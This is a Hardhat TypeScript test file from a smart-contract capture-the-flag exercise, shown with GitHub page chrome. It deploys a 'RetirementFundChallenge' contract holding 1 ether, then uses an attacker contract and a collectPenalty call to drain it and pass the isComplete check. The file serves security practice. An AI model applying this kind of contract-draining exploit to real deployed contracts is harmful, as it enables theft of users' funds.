generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathRetirementFundChallenge.test.ts
45 lines (36 loc) · 1.28 KB
/
RetirementFundChallenge.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
const { utils } = ethers;
describe('RetirementFundChallenge', () => {
let target: Contract;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
before(async () => {
[owner, attacker] = await ethers.getSigners();
const targetFactory = await ethers.getContractFactory('RetirementFundChallenge');
target = await targetFactory.deploy(attacker.address, {
value: utils.parseEther('1'),
});
await target.deployed();
console.log('Target deployed to:', target.address);
});
it('Exploit', async () => {
const attackerFactory = await ethers.getContractFactory('RetirementFundChallengeAttacker');
const attackerContract = await attackerFactory.deploy(target.address);
await attackerContract.deployed();
let tx;
console.log('1 - Attacking');
tx = await attackerContract.connect(attacker).attack({
value: 1,
});
await tx.wait();
console.log('2 - Collecting penalty');
tx = await target.connect(attacker).collectPenalty();
await tx.wait();
});
after(async () => {
expect(await target.isComplete()).to.equal(true);
});
});